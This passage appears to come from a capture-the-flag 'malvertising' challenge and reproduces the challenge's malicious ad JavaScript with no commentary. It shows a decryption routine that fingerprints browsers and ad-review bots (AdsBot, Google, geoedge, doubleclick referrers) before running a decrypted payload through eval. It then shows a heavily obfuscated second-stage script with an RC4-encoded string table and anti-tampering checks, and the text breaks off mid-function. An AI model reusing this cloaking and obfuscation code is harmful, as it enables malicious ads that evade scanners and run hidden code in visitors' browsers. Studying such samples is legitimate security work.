    return a = String(a), b = String(b), 0 == a.length ? '' : (c = T.f0(a.b1()), d = T.f0(b.u0().slice(0, 16)), c.length, c = T.d1(c, d), a = T.longsToStr(c), a = a.replace(/\0+$/, ''), a.u1())
}, T.e1 = function(a, b) {
    var c, d, e, f, g, h, i, j, k;
    for (a.length < 2 && (a[1] = 0), c = a.length, d = a[c - 1], e = a[0], f = 2654435769, i = Math.floor(6 + 52 / c), j = 0; i-- > 0;)
        for (j += f, h = 3 & j >>> 2, k = 0; c > k; k++) e = a[(k + 1) % c], g = (d >>> 5 ^ e << 2) + (e >>> 3 ^ d << 4) ^ (j ^ e) + (b[3 & k ^ h] ^ d), d = a[k] += g;
    return a
}, T.d1 = function(a, b) {
    for (var c, d, e, f = a.length, g = a[f - 1], h = a[0], i = 2654435769, j = Math.floor(6 + 52 / f), k = j * i; 0 != k;) {
        for (d = 3 & k >>> 2, e = f - 1; e >= 0; e--) g = a[e > 0 ? e - 1 : f - 1], c = (g >>> 5 ^ h << 2) + (h >>> 3 ^ g << 4) ^ (k ^ h) + (b[3 & e ^ d] ^ g), h = a[e] -= c;
        k -= i
    }
    return a
}, T.f0 = function(a) {
    var b, c = new Array(Math.ceil(a.length / 4));
    for (b = 0; b < c.length; b++) c[b] = a.charCodeAt(4 * b) + (a.charCodeAt(4 * b + 1) << 8) + (a.charCodeAt(4 * b + 2) << 16) + (a.charCodeAt(4 * b + 3) << 24);
    return c
}, T.longsToStr = function(a) {
    var b, c = new Array(a.length);
    for (b = 0; b < a.length; b++) c[b] = String.fromCharCode(255 & a[b], 255 & a[b] >>> 8, 255 & a[b] >>> 16, 255 & a[b] >>> 24);
    return c.join('')
}, 'undefined' == typeof String.prototype.u0 && (String.prototype.u0 = function() {
    return unescape(encodeURIComponent(this))
}), 'undefined' == typeof String.prototype.u1 && (String.prototype.u1 = function() {
    try {
        return decodeURIComponent(escape(this))
    } catch (a) {
        return this
    }
}), 'undefined' == typeof String.prototype.b0 && (String.prototype.b0 = function() {
    if ('undefined' != typeof btoa) return btoa(this);
    if ('undefined' != typeof Buffer) return new Buffer(this, 'utf8').toString('base64');
    throw new Error('err')
}), 'undefined' == typeof String.prototype.b1 && (String.prototype.b1 = function() {
    if ('undefined' != typeof atob) return atob(this);
    if ('undefined' != typeof Buffer) return new Buffer(this, 'base64').toString('utf8');
    throw new Error('err')
}), 'undefined' != typeof module && module.exports && (module.exports = T), 'function' == typeof define && define.amd && define([''], function() {
    return T
});

function dJw() {
    try {
return navigator.platform.toUpperCase().substr(0, 5) + 
Number(/android/i.test(navigator.userAgent)) + 
Number(/AdsBot/i.test(navigator.userAgent)) 
+ Number(/Google/i.test(navigator.userAgent)) 
+ Number(/geoedge/i.test(navigator.userAgent)) 
+ Number(/tmt/i.test(navigator.userAgent)) 
+ navigator.language.toUpperCase().substr(0, 2) 
+ Number(/tpc.googlesyndication.com/i.test(document.referrer) || /doubleclick.net/i.test(document.referrer)) 
+ Number(/geoedge/i.test(document.referrer)) 
+ Number(/tmt/i.test(document.referrer)) 
+ performance.navigation.type 
+ performance.navigation.redirectCount 
+ Number(navigator.cookieEnabled) 
+ Number(navigator.onLine) 
+ navigator.appCodeName.toUpperCase().substr(0, 7) 
+ Number(navigator.maxTouchPoints > 0) 
+ Number((undefined == window.chrome) ? true : (undefined == window.chrome.app)) 
+ navigator.plugins.length
    } catch (e) {
        return 'err'
    }
};
a = "A2xcVTrDuF+EqdD8VibVZIWY2k334hwWPsIzgPgmHSapj+zeDlPqH/RHlpVCitdlxQQfzOjO01xCW/6TNqkciPRbOZsizdYNf5eEOgghG0YhmIplCBLhGdxmnvsIT/69I08I/ZvIxkWyufhLayTDzFeGZlPQfjqtY8Wr59Lkw/JggztpJYPWng=="
eval(T.d0(a, dJw()));

 

https://malvertising.web.ctfcompetition.com/ads/src/npoTHyBXnpZWgLorNrYc.js

 

./src/npoTHyBXnpZWgLorNrYc.js

var _0x156e=['\x4a\x4d\x4b\x52\x53\x4d\x4f\x6d\x57\x41\x3d\x3d','\x77\x70\x34\x30\x77\x37\x4d\x35\x4c\x73\x4b\x49\x77\x6f\x41\x3d','\x4e\x4d\x4f\x55\x77\x6f\x70\x35\x5a\x54\x66\x44\x68\x51\x3d\x3d','\x57\x73\x4b\x37\x43\x73\x4f\x6e\x77\x34\x34\x4b\x77\x6f\x48\x43\x76\x6d\x31\x30\x77\x70\x54\x44\x67\x67\x3d\x3d','\x77\x37\x52\x75\x77\x71\x66\x43\x75\x38\x4b\x62','\x77\x34\x55\x45\x77\x70\x48\x43\x73\x73\x4f\x37\x53\x77\x3d\x3d','\x4b\x38\x4b\x41\x5a\x73\x4f\x43\x43\x38\x4b\x66\x63\x30\x4e\x62\x77\x35\x50\x43\x71\x41\x3d\x3d','\x77\x34\x54\x43\x69\x31\x45\x36\x77\x37\x34\x3d','\x77\x72\x4c\x43\x68\x58\x4c\x43\x69\x56\x6b\x3d','\x77\x6f\x52\x53\x77\x36\x73\x45\x64\x77\x3d\x3d','\x4f\x38\x4b\x45\x53\x73\x4f\x6f\x57\x43\x55\x3d','\x42\x38\x4f\x41\x49\x33\x74\x6a','\x77\x6f\x51\x36\x77\x37\x4c\x44\x74\x6b\x41\x3d','\x47\x63\x4f\x63\x77\x6f\x39\x34\x64\x67\x3d\x3d','\x77\x34\x70\x42\x49\x38\x4b\x4c\x66\x67\x3d\x3d','\x63\x78\x33\x44\x6f\x6d\x4d\x3d','\x77\x70\x66\x44\x72\x6b\x78\x62','\x77\x70\x58\x44\x72\x46\x52\x65\x43\x4d\x4f\x51','\x77\x34\x74\x64\x77\x71\x66\x43\x6d\x38\x4b\x69\x52\x63\x4b\x2f\x77\x6f\x46\x4c\x77\x70\x30\x67\x4d\x73\x4b\x70\x77\x70\x30\x6f\x77\x6f\x49\x42\x46\x46\x67\x3d','\x4b\x67\x58\x43\x72\x63\x4f\x39\x43\x63\x4b\x78\x77\x34\x64\x6d\x59\x79\x6a\x43\x71\x6b\x72\x43\x75\x73\x4f\x78\x63\x73\x4f\x78\x56\x63\x4b\x56\x59\x73\x4f\x78\x63\x4d\x4f\x4e\x77\x35\x37\x43\x6f\x30\x2f\x43\x6f\x63\x4f\x69\x56\x33\x67\x74\x54\x69\x6f\x3d','\x77\x6f\x6c\x35\x49\x73\x4b\x65\x66\x67\x48\x43\x74\x63\x4b\x78\x77\x35\x48\x44\x72\x63\x4f\x7a','\x77\x71\x66\x44\x74\x46\x34\x62','\x42\x63\x4b\x2b\x77\x70\x2f\x43\x76\x67\x3d\x3d','\x77\x71\x41\x69\x54\x4d\x4f\x2f\x77\x34\x34\x3d','\x77\x72\x44\x44\x70\x56\x30\x61\x51\x31\x4c\x43\x73\x57\x50\x44\x74\x33\x30\x59','\x77\x71\x62\x43\x6f\x6e\x48\x43\x6b\x30\x6a\x44\x6c\x63\x4f\x73\x55\x6c\x66\x43\x71\x73\x4b\x33','\x77\x36\x39\x65\x44\x73\x4b\x56\x56\x52\x6e\x43\x69\x33\x41\x67\x58\x79\x46\x4a\x77\x72\x56\x39\x77\x37\x6f\x3d','\x64\x78\x58\x44\x73\x6e\x39\x33\x77\x36\x68\x39','\x4c\x4d\x4f\x32\x41\x57\x31\x78\x77\x36\x48\x44\x6a\x38\x4b\x32\x77\x72\x56\x4a\x77\x6f\x77\x3d','\x4f\x63\x4f\x66\x77\x6f\x78\x70','\x77\x37\x4c\x44\x6d\x41\x7a\x43\x71\x77\x3d\x3d','\x52\x53\x63\x55\x54\x38\x4f\x45','\x77\x70\x6c\x69\x4c\x63\x4b\x5a\x62\x7a\x7a\x43\x6f\x73\x4b\x34\x77\x34\x44\x44\x6f\x63\x4f\x31','\x4c\x73\x4b\x39\x57\x67\x33\x44\x71\x77\x3d\x3d','\x77\x71\x44\x43\x74\x58\x72\x43\x67\x77\x3d\x3d','\x53\x54\x59\x51\x51\x4d\x4f\x56','\x77\x35\x70\x4b\x77\x72\x62\x43\x6a\x38\x4b\x6b\x54\x73\x4f\x61\x77\x34\x56\x49\x77\x6f\x55\x72\x50\x38\x4b\x70','\x77\x72\x35\x49\x5a\x44\x62\x43\x68\x43\x49\x3d','\x4f\x4d\x4b\x78\x4b\x6b\x62\x44\x72\x4d\x4f\x58\x77\x35\x48\x44\x74\x31\x7a\x44\x6f\x30\x66\x43\x69\x67\x3d\x3d','\x52\x73\x4f\x34\x4d\x77\x3d\x3d','\x54\x63\x4b\x41\x77\x71\x5a\x79\x56\x38\x4b\x43\x77\x34\x58\x43\x6c\x57\x54\x43\x71\x45\x63\x4b\x77\x37\x4d\x75\x46\x73\x4f\x4c\x4b\x69\x45\x33\x77\x71\x6b\x64\x77\x34\x4a\x4e\x77\x35\x52\x59\x48\x6d\x46\x4d\x77\x35\x77\x3d','\x77\x34\x4c\x44\x72\x73\x4b\x59\x77\x36\x66\x44\x6a\x58\x51\x5a\x4d\x73\x4b\x4d\x77\x34\x5a\x71','\x77\x70\x74\x68\x53\x38\x4b\x35\x4f\x51\x3d\x3d','\x42\x63\x4f\x73\x77\x6f\x39\x46\x53\x77\x3d\x3d','\x42\x73\x4b\x71\x77\x71\x77\x42\x66\x77\x3d\x3d','\x77\x71\x38\x5a\x46\x47\x42\x41','\x77\x6f\x33\x44\x70\x31\x30\x6d\x55\x77\x3d\x3d','\x77\x34\x2f\x43\x71\x41\x44\x44\x73\x4d\x4b\x62','\x77\x35\x58\x44\x69\x32\x30\x78\x56\x42\x37\x43\x74\x48\x38\x4c\x77\x6f\x6e\x43\x73\x63\x4b\x57\x4f\x56\x55\x71\x50\x77\x3d\x3d','\x77\x70\x2f\x43\x75\x6d\x42\x46\x42\x6a\x66\x44\x75\x7a\x62\x43\x71\x45\x46\x63\x50\x7a\x78\x6b\x46\x55\x76\x44\x6b\x63\x4b\x52\x48\x54\x62\x43\x67\x73\x4f\x4a\x77\x72\x4c\x44\x71\x4d\x4f\x72\x5a\x38\x4f\x46\x77\x70\x68\x47\x43\x4d\x4b\x51\x77\x37\x67\x50\x59\x4d\x4b\x39\x48\x38\x4f\x6a\x77\x34\x56\x44\x77\x71\x4a\x58\x77\x71\x42\x31\x77\x36\x30\x41\x77\x70\x49\x76\x77\x70\x6b\x45\x77\x71\x62\x44\x69\x46\x56\x44\x44\x73\x4b\x5a\x4f\x77\x64\x67\x59\x38\x4b\x44\x64\x58\x49\x3d','\x64\x63\x4b\x70\x44\x31\x55\x3d','\x4b\x4d\x4b\x38\x50\x32\x37\x44\x74\x67\x3d\x3d','\x61\x4d\x4b\x69\x46\x56\x55\x3d','\x54\x54\x6b\x55\x56\x73\x4f\x4a','\x4c\x38\x4f\x70\x77\x34\x58\x43\x72\x63\x4b\x46','\x63\x38\x4f\x6f\x77\x6f\x38\x72\x77\x70\x4d\x3d','\x77\x35\x6c\x6e\x50\x38\x4b\x38\x53\x41\x3d\x3d','\x48\x4d\x4f\x72\x77\x72\x5a\x5a\x5a\x51\x3d\x3d','\x77\x34\x44\x44\x73\x63\x4b\x47\x77\x37\x62\x44\x68\x6e\x34\x75\x44\x63\x4b\x4d\x77\x34\x52\x71\x77\x36\x52\x64','\x57\x4d\x4f\x6c\x4b\x6c\x66\x44\x70\x38\x4b\x30\x77\x70\x50\x43\x68\x63\x4b\x66\x53\x52\x7a\x43\x75\x63\x4b\x73\x54\x38\x4f\x6e\x77\x35\x76\x43\x6b\x4d\x4f\x50\x77\x34\x76\x44\x74\x41\x3d\x3d','\x77\x6f\x38\x2b\x77\x36\x4d\x58\x4a\x73\x4b\x66\x77\x72\x72\x44\x6a\x73\x4f\x65\x77\x70\x35\x4e\x58\x54\x68\x44\x77\x70\x2f\x43\x6f\x38\x4f\x70\x77\x34\x76\x43\x76\x73\x4b\x4c\x44\x4d\x4f\x32\x77\x70\x38\x3d','\x77\x36\x38\x52\x77\x70\x62\x43\x6a\x73\x4f\x79\x49\x73\x4f\x46\x62\x42\x76\x44\x6d\x63\x4f\x37\x41\x4d\x4b\x30\x45\x73\x4f\x76\x49\x38\x4b\x6e\x77\x6f\x5a\x45\x61\x73\x4b\x36\x77\x72\x35\x79','\x77\x6f\x34\x73\x77\x36\x67\x58\x47\x51\x3d\x3d','\x62\x73\x4f\x46\x77\x6f\x30\x4d\x77\x71\x59\x3d','\x77\x35\x6c\x62\x65\x63\x4b\x71\x61\x41\x3d\x3d','\x77\x36\x48\x44\x6b\x77\x58\x43\x6a\x78\x34\x3d','\x4c\x4d\x4f\x72\x43\x6e\x39\x78\x77\x37\x62\x44\x76\x38\x4b\x35\x77\x71\x52\x4c\x77\x70\x76\x43\x6b\x4d\x4b\x48','\x77\x72\x68\x4b\x55\x51\x3d\x3d','\x77\x36\x49\x4c\x77\x35\x63\x38\x5a\x53\x6e\x43\x68\x32\x7a\x44\x6c\x42\x4c\x44\x6c\x73\x4b\x64\x77\x72\x34\x47\x77\x6f\x58\x43\x6b\x73\x4f\x55\x5a\x57\x6a\x43\x6a\x54\x5a\x35\x77\x36\x58\x44\x76\x4d\x4b\x79\x77\x71\x68\x7a\x4b\x4d\x4b\x55','\x66\x42\x2f\x44\x70\x6e\x55\x3d','\x4e\x38\x4f\x38\x4a\x38\x4b\x72\x66\x63\x4f\x61\x77\x36\x46\x52\x77\x35\x4c\x43\x73\x63\x4f\x54','\x50\x73\x4b\x6d\x77\x34\x4e\x37\x56\x77\x3d\x3d','\x77\x36\x42\x52\x77\x71\x44\x43\x69\x4d\x4b\x7a','\x77\x36\x72\x44\x6c\x33\x41\x30\x51\x77\x3d\x3d','\x77\x72\x2f\x44\x68\x43\x72\x44\x6c\x47\x35\x61\x77\x72\x6a\x43\x76\x6d\x66\x43\x76\x42\x48\x44\x71\x4d\x4b\x72\x77\x70\x54\x44\x6d\x42\x50\x43\x72\x44\x68\x4b','\x77\x34\x4a\x46\x77\x37\x33\x43\x6a\x63\x4b\x2f\x52\x63\x4f\x73\x77\x35\x31\x66\x77\x70\x30\x74\x4a\x63\x4b\x79\x77\x6f\x5a\x76\x77\x34\x35\x62\x57\x41\x7a\x44\x6b\x45\x59\x71\x77\x35\x6c\x58\x77\x37\x51\x75\x77\x36\x51\x4b\x4d\x32\x50\x44\x75\x38\x4f\x75','\x41\x73\x4f\x50\x77\x34\x7a\x43\x6c\x38\x4b\x76','\x62\x4d\x4b\x32\x77\x72\x72\x43\x6e\x41\x59\x3d','\x4e\x63\x4f\x6a\x4f\x63\x4b\x39\x66\x4d\x4f\x53\x77\x34\x63\x3d','\x41\x73\x4f\x70\x77\x37\x4d\x3d','\x46\x63\x4b\x34\x77\x6f\x6a\x43\x6f\x67\x3d\x3d','\x77\x35\x72\x44\x6b\x47\x55\x39','\x43\x38\x4f\x30\x77\x36\x62\x43\x71\x4d\x4b\x63','\x77\x71\x35\x41\x55\x63\x4b\x4b\x4a\x33\x72\x43\x6e\x42\x70\x38','\x77\x72\x67\x52\x77\x35\x2f\x44\x73\x45\x4d\x3d','\x77\x35\x70\x58\x77\x72\x33\x43\x6e\x63\x4b\x2f\x52\x38\x4f\x36','\x77\x36\x62\x44\x68\x6a\x33\x43\x72\x53\x77\x3d','\x77\x34\x62\x43\x6c\x45\x38\x6c\x77\x36\x6a\x44\x69\x77\x6f\x3d','\x77\x37\x54\x43\x6d\x7a\x48\x44\x69\x73\x4b\x64','\x77\x71\x48\x44\x71\x48\x6c\x39\x45\x77\x3d\x3d','\x66\x63\x4b\x33\x46\x6b\x30\x6b','\x4d\x73\x4f\x70\x4e\x63\x4b\x37\x64\x41\x3d\x3d','\x4f\x4d\x4f\x49\x77\x70\x78\x7a\x62\x77\x3d\x3d','\x77\x35\x4c\x43\x73\x51\x38\x30\x77\x6f\x58\x44\x73\x73\x4f\x62\x77\x34\x4c\x44\x73\x41\x3d\x3d','\x77\x72\x6e\x44\x6b\x7a\x2f\x44\x67\x6e\x6b\x3d','\x77\x36\x37\x44\x72\x73\x4b\x78\x77\x6f\x63\x77','\x77\x72\x76\x44\x70\x7a\x48\x44\x67\x33\x6b\x3d','\x64\x4d\x4f\x33\x48\x63\x4f\x63\x77\x35\x4d\x3d','\x77\x34\x2f\x44\x73\x63\x4b\x50','\x77\x70\x73\x30\x77\x36\x38\x50\x49\x4d\x4b\x48\x77\x6f\x30\x3d','\x4a\x68\x6e\x44\x73\x63\x4f\x77','\x4d\x68\x66\x44\x72\x63\x4f\x74\x43\x63\x4b\x7a\x77\x35\x45\x3d','\x77\x70\x77\x2b\x77\x36\x4d\x4a\x4b\x41\x3d\x3d','\x50\x38\x4f\x69\x4d\x63\x4b\x68','\x4b\x4d\x4b\x37\x4d\x48\x54\x44\x74\x38\x4f\x50\x77\x34\x59\x3d','\x77\x71\x68\x58\x58\x4d\x4b\x63\x4f\x47\x4c\x43\x6b\x41\x3d\x3d','\x77\x35\x4d\x49\x77\x6f\x44\x43\x76\x73\x4f\x6c\x57\x4d\x4b\x32\x77\x36\x55\x6f','\x65\x38\x4f\x64\x77\x6f\x6f\x55\x77\x70\x39\x7a\x77\x6f\x59\x3d','\x77\x34\x31\x4b\x77\x72\x4c\x43\x6a\x63\x4b\x31','\x77\x71\x37\x44\x67\x44\x44\x44\x68\x58\x56\x51\x77\x37\x6e\x44\x6f\x6d\x51\x3d','\x77\x34\x44\x44\x76\x38\x4b\x47\x77\x36\x62\x44\x69\x6e\x51\x37\x4c\x73\x4b\x41','\x77\x35\x54\x43\x71\x41\x49\x31\x77\x70\x7a\x44\x6f\x73\x4f\x54\x77\x35\x6e\x44\x75\x77\x3d\x3d','\x77\x70\x6c\x73\x63\x63\x4b\x2f\x4d\x6d\x76\x43\x68\x7a\x5a\x39\x4c\x56\x7a\x43\x74\x56\x42\x67\x54\x38\x4b\x38\x49\x77\x3d\x3d','\x57\x38\x4b\x30\x77\x6f\x48\x43\x6f\x53\x62\x44\x6d\x54\x4c\x44\x6b\x68\x44\x44\x67\x63\x4f\x2b\x4c\x57\x6f\x77\x43\x63\x4f\x71\x46\x55\x78\x79\x48\x67\x3d\x3d','\x77\x72\x6b\x4d\x42\x6d\x64\x51\x5a\x48\x76\x44\x6c\x73\x4b\x4c\x52\x38\x4f\x6b\x66\x38\x4b\x4b\x77\x72\x66\x44\x6f\x47\x2f\x43\x72\x33\x37\x43\x71\x33\x7a\x43\x72\x53\x6a\x43\x6a\x41\x3d\x3d','\x57\x4d\x4f\x70\x42\x38\x4f\x79\x77\x34\x55\x41\x77\x70\x7a\x43\x6a\x57\x56\x75\x77\x70\x58\x43\x6c\x30\x30\x3d','\x61\x4d\x4f\x72\x57\x47\x42\x59\x77\x34\x58\x44\x73\x6b\x54\x43\x69\x63\x4f\x32\x56\x38\x4f\x48\x64\x63\x4b\x47\x46\x33\x44\x44\x75\x51\x3d\x3d','\x41\x38\x4f\x70\x77\x36\x37\x43\x6c\x63\x4b\x36\x53\x63\x4f\x57\x77\x34\x48\x43\x6c\x69\x5a\x51\x45\x79\x39\x4f\x46\x73\x4b\x6e\x77\x36\x76\x43\x6e\x63\x4b\x65\x4a\x67\x3d\x3d','\x77\x6f\x37\x44\x67\x4d\x4b\x4b\x77\x35\x77\x59\x77\x34\x37\x43\x6d\x32\x76\x43\x72\x45\x72\x44\x73\x43\x2f\x44\x69\x68\x64\x68\x77\x71\x67\x56\x77\x34\x72\x44\x69\x38\x4b\x39\x77\x37\x4c\x43\x68\x31\x38\x3d','\x77\x72\x59\x33\x58\x73\x4f\x34\x77\x35\x37\x44\x6f\x30\x55\x49\x56\x38\x4b\x57\x50\x38\x4b\x37\x77\x36\x73\x48\x4f\x45\x46\x6e\x45\x38\x4b\x65\x77\x6f\x5a\x44\x77\x70\x2f\x44\x6f\x41\x3d\x3d','\x57\x63\x4b\x72\x77\x6f\x2f\x43\x6d\x68\x33\x44\x74\x41\x50\x44\x6d\x77\x3d\x3d','\x64\x38\x4b\x6c\x50\x48\x45\x4d','\x4b\x55\x72\x44\x6a\x4d\x4b\x68','\x44\x73\x4f\x4f\x77\x71\x46\x6a\x58\x41\x3d\x3d','\x77\x71\x37\x43\x6a\x6e\x6e\x43\x74\x6c\x6f\x3d','\x43\x4d\x4f\x73\x77\x72\x4e\x57\x55\x67\x3d\x3d','\x77\x35\x44\x44\x6a\x47\x59\x7a\x56\x42\x4c\x43\x6e\x6e\x31\x4f\x77\x34\x37\x43\x69\x4d\x4f\x51\x62\x51\x3d\x3d','\x77\x70\x6c\x31\x50\x73\x4b\x45\x65\x67\x63\x3d','\x77\x72\x38\x47\x77\x34\x72\x44\x6b\x6c\x49\x7a\x4c\x6e\x63\x77\x56\x45\x5a\x6e','\x49\x38\x4b\x78\x50\x32\x4d\x3d','\x77\x71\x38\x5a\x46\x47\x6c\x58\x64\x47\x72\x44\x71\x73\x4b\x68\x65\x38\x4f\x6c','\x77\x34\x62\x43\x6d\x6b\x38\x79\x77\x36\x37\x44\x67\x77\x35\x38\x77\x35\x45\x3d','\x77\x35\x55\x52\x77\x6f\x33\x43\x76\x38\x4f\x38\x53\x4d\x4b\x2b\x77\x37\x34\x6a','\x4e\x63\x4f\x2b\x4d\x73\x4b\x76\x5a\x38\x4f\x62\x77\x36\x5a\x59\x77\x34\x2f\x43\x76\x4d\x4f\x30\x77\x36\x33\x43\x68\x4d\x4b\x6c\x77\x35\x63\x44\x4a\x77\x3d\x3d','\x64\x77\x6a\x44\x6f\x6e\x42\x33\x77\x36\x68\x41\x42\x63\x4b\x51\x57\x4d\x4b\x63','\x45\x4d\x4f\x4b\x77\x71\x46\x4d\x57\x38\x4f\x4f\x77\x37\x50\x43\x76\x30\x33\x43\x68\x32\x4d\x66\x77\x35\x67\x46\x4e\x38\x4f\x53\x47\x53\x41\x38','\x77\x35\x56\x58\x77\x72\x44\x43\x6a\x38\x4b\x38\x62\x38\x4f\x36\x77\x35\x70\x4f\x77\x70\x6f\x6e\x49\x63\x4b\x70\x77\x70\x30\x6f\x77\x6f\x49\x3d','\x61\x38\x4f\x57\x77\x70\x51\x3d'];(function(_0x196a0c, _0x258920) {
  var _0x2ea606 = function(_0x457371) {
    while (--_0x457371) {
      _0x196a0c['push'](_0x196a0c['shift']());
    }
  };
  var _0x16592d = function() {
    var _0x545a5d = {
      'data': {
        'key': 'cookie',
        'value': 'timeout'
      },
      'setCookie': function(_0x5baace, _0xb98301, _0x477c28, _0x58d0e9) {
        _0x58d0e9 = _0x58d0e9 || {};
        var _0x5a408c = _0xb98301 + '=' + _0x477c28;
        var _0x2df36b = 0x0;
        for (var _0x2df36b = 0x0, _0x4eefab = _0x5baace[
          'length']; _0x2df36b < _0x4eefab; _0x2df36b++) {
          var _0x2cc78d = _0x5baace[_0x2df36b];
          _0x5a408c += '; ' + _0x2cc78d;
          var _0x3ce8aa = _0x5baace[_0x2cc78d];
          _0x5baace['push'](_0x3ce8aa);
          _0x4eefab = _0x5baace['length'];
          if (_0x3ce8aa !== !![]) {
            _0x5a408c += '=' + _0x3ce8aa;
          }
        }
        _0x58d0e9['cookie'] = _0x5a408c;
      },
      'removeCookie': function() {
        return 'dev';
      },
      'getCookie': function(_0x5a388a, _0x1e6260) {
        _0x5a388a = _0x5a388a || function(_0x561d69) {
          return _0x561d69;
        };
        var _0xd7628 = _0x5a388a(new RegExp('(?:^|; )' + _0x1e6260[
          'replace'](/([.$?*|{}()[]\/+^])/g, '$1') + '=([^;]*)'));
        var _0x5d84e3 = function(_0x5ebbed, _0x5c20e2) {
          _0x5ebbed(++_0x5c20e2);
        };
        _0x5d84e3(_0x2ea606, _0x258920);
        return _0xd7628 ? decodeURIComponent(_0xd7628[0x1]) : undefined;
      }
    };
    var _0x110c8a = function() {
      var _0x3289a3 = new RegExp(
        '\\w+ *\\(\\) *{\\w+ *[\'|\"].+[\'|\"];? *}');
      return _0x3289a3['test'](_0x545a5d['removeCookie']['toString']());
    };
    _0x545a5d['updateCookie'] = _0x110c8a;
    var _0x30a59e = '';
    var _0x34ec16 = _0x545a5d['updateCookie']();
    if (!_0x34ec16) {
      _0x545a5d['setCookie'](['*'], 'counter', 0x1);
    } else if (_0x34ec16) {
      _0x30a59e = _0x545a5d['getCookie'](null, 'counter');
    } else {
      _0x545a5d['removeCookie']();
    }
  };
  _0x16592d();
}(_0x156e, 0xb6));
var _0x5877 = function(_0x4ee1cc, _0x2cf999) {
  _0x4ee1cc = _0x4ee1cc - 0x0;
  var _0x3dac5b = _0x156e[_0x4ee1cc];
  if (_0x5877['VjyOeo'] === undefined) {
    (function() {
      var _0x5c9db6;
      try {
        var _0x5e518f = Function('return (function() ' +
          '{}.constructor(\"return this\")( )' + ');');
        _0x5c9db6 = _0x5e518f();
      } catch (_0x16c59d) {
        _0x5c9db6 = window;
      }
      var _0x66546d =
        'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
      _0x5c9db6['atob'] || (_0x5c9db6['atob'] = function(_0x2aeaff) {
        var _0x539cc2 = String(_0x2aeaff)['replace'](/=+$/, '');
        for (var _0x1b61f5 = 0x0, _0x5bca3e, _0x2c8318, _0x1d7cd6 = 0x0,
            _0x44d39a = ''; _0x2c8318 = _0x539cc2['charAt'](
          _0x1d7cd6++); ~_0x2c8318 && (_0x5bca3e = _0x1b61f5 % 0x4 ?
            _0x5bca3e * 0x40 + _0x2c8318 : _0x2c8318, _0x1b61f5++ % 0x4
            ) ? _0x44d39a += String['fromCharCode'](0xff & _0x5bca3e >>
            (-0x2 * _0x1b61f5 & 0x6)) : 0x0) {
          _0x2c8318 = _0x66546d['indexOf'](_0x2c8318);
        }
        return _0x44d39a;
      });
    }());
    var _0x5ac635 = function(_0x445667, _0x2cf999) {
      var _0x816e86 = [],
        _0x2d1c34 = 0x0,
        _0x5bfb1c, _0x57efea = '',
        _0xcbd23c = '';
      _0x445667 = atob(_0x445667);
      for (var _0x76d912 = 0x0, _0x1e4165 = _0x445667['length']; _0x76d912 <
        _0x1e4165; _0x76d912++) {
        _0xcbd23c += '%' + ('00' + _0x445667['charCodeAt'](_0x76d912)[
          'toString'](0x10))['slice'](-0x2);
      }
      _0x445667 = decodeURIComponent(_0xcbd23c);
      for (var _0x48da14 = 0x0; _0x48da14 < 0x100; _0x48da14++) {
        _0x816e86[_0x48da14] = _0x48da14;
      }
      for (_0x48da14 = 0x0; _0x48da14 < 0x100; _0x48da14++) {
        _0x2d1c34 = (_0x2d1c34 + _0x816e86[_0x48da14] + _0x2cf999[
          'charCodeAt'](_0x48da14 % _0x2cf999['length'])) % 0x100;
        _0x5bfb1c = _0x816e86[_0x48da14];
        _0x816e86[_0x48da14] = _0x816e86[_0x2d1c34];
        _0x816e86[_0x2d1c34] = _0x5bfb1c;
      }
      _0x48da14 = 0x0;
      _0x2d1c34 = 0x0;
      for (var _0x5a907c = 0x0; _0x5a907c < _0x445667[
        'length']; _0x5a907c++) {
        _0x48da14 = (_0x48da14 + 0x1) % 0x100;
        _0x2d1c34 = (_0x2d1c34 + _0x816e86[_0x48da14]) % 0x100;
        _0x5bfb1c = _0x816e86[_0x48da14];
        _0x816e86[_0x48da14] = _0x816e86[_0x2d1c34];
        _0x816e86[_0x2d1c34] = _0x5bfb1c;
        _0x57efea += String['fromCharCode'](_0x445667['charCodeAt'](
          _0x5a907c) ^ _0x816e86[(_0x816e86[_0x48da14] + _0x816e86[
          _0x2d1c34]) % 0x100]);
      }
      return _0x57efea;
    };
    _0x5877['iZuEev'] = _0x5ac635;
    _0x5877['dfvBjw'] = {};
    _0x5877['VjyOeo'] = !![];
  }
  var _0x435279 = _0x5877['dfvBjw'][_0x4ee1cc];
  if (_0x435279 === undefined) {
    if (_0x5877['jSpysZ'] === undefined) {
      var _0xd001d8 = function(_0x14c13b) {
        this['ClvelR'] = _0x14c13b;
        this['syzGhZ'] = [0x1, 0x0, 0x0];
        this['PsnvzU'] = function() {
          return 'newState';
        };
        this['OyqIqt'] = '\\w+ *\\(\\) *{\\w+ *';
        this['imjDRb'] = '[\'|\"].+[\'|\"];? *}';
      };
      _0xd001d8['prototype']['pZITsP'] = function() {
        var _0x4a9982 = new RegExp(this['OyqIqt'] + this['imjDRb']);
        var _0x1855a4 = _0x4a9982['test'](this['PsnvzU']['toString']()) ? --
          this['syzGhZ'][0x1] : --this['syzGhZ'][0x0];
        return this['BCxsPC'](_0x1855a4);
      };
      _0xd001d8['prototype']['BCxsPC'] = function(_0xb1758d) {
        if (!Boolean(~_0xb1758d)) {
          return _0xb1758d;
        }
        return this['PIcmoa'](this['ClvelR']);
      };
      _0xd001d8['prototype']['PIcmoa'] = function(_0x3b8ca5) {
        for (var _0x5e5100 = 0x0, _0x43d360 = this['syzGhZ'][
          'length']; _0x5e5100 < _0x43d360; _0x5e5100++) {
          this['syzGhZ']['push'](Math['round'](Math['random']()));
          _0x43d360 = this['syzGhZ']['length'];
        }
        return _0x3b8ca5(this['syzGhZ'][0x0]);
      };
      new _0xd001d8(_0x5877)['pZITsP']();
      _0x5877['jSpysZ'] = !![];
    }
    _0x3dac5b = _0x5877['iZuEev'](_0x3dac5b, _0x2cf999);
    _0x5877['dfvBjw'][_0x4ee1cc] = _0x3dac5b;
  } else {
    _0x3dac5b = _0x435279;
  }
  return _0x3dac5b;
};

function _0x3dcb34() {
  var _0x544ffc = function() {
    var _0x153104 = !![];
    return function(_0x4e3e5a, _0x49ccc0) {
      var _0x21fc3e = _0x153104 ? function() {
        if (_0x49ccc0) {
          var _0x30ef1b = _0x49ccc0['apply'](_0x4e3e5a, arguments);
          _0x49ccc0 = null;
          return _0x30ef1b;
        }
      } : function() {};
      _0x153104 = ![];
      return _0x21fc3e;
    };
  }();
  var _0x20df75 = _0x544ffc(this, function() {
    var _0x227b59 = function() {
        return 'dev';
      },
      _0x1f182b = function() {
        return 'window';
      };
    var _0x88053c = function() {
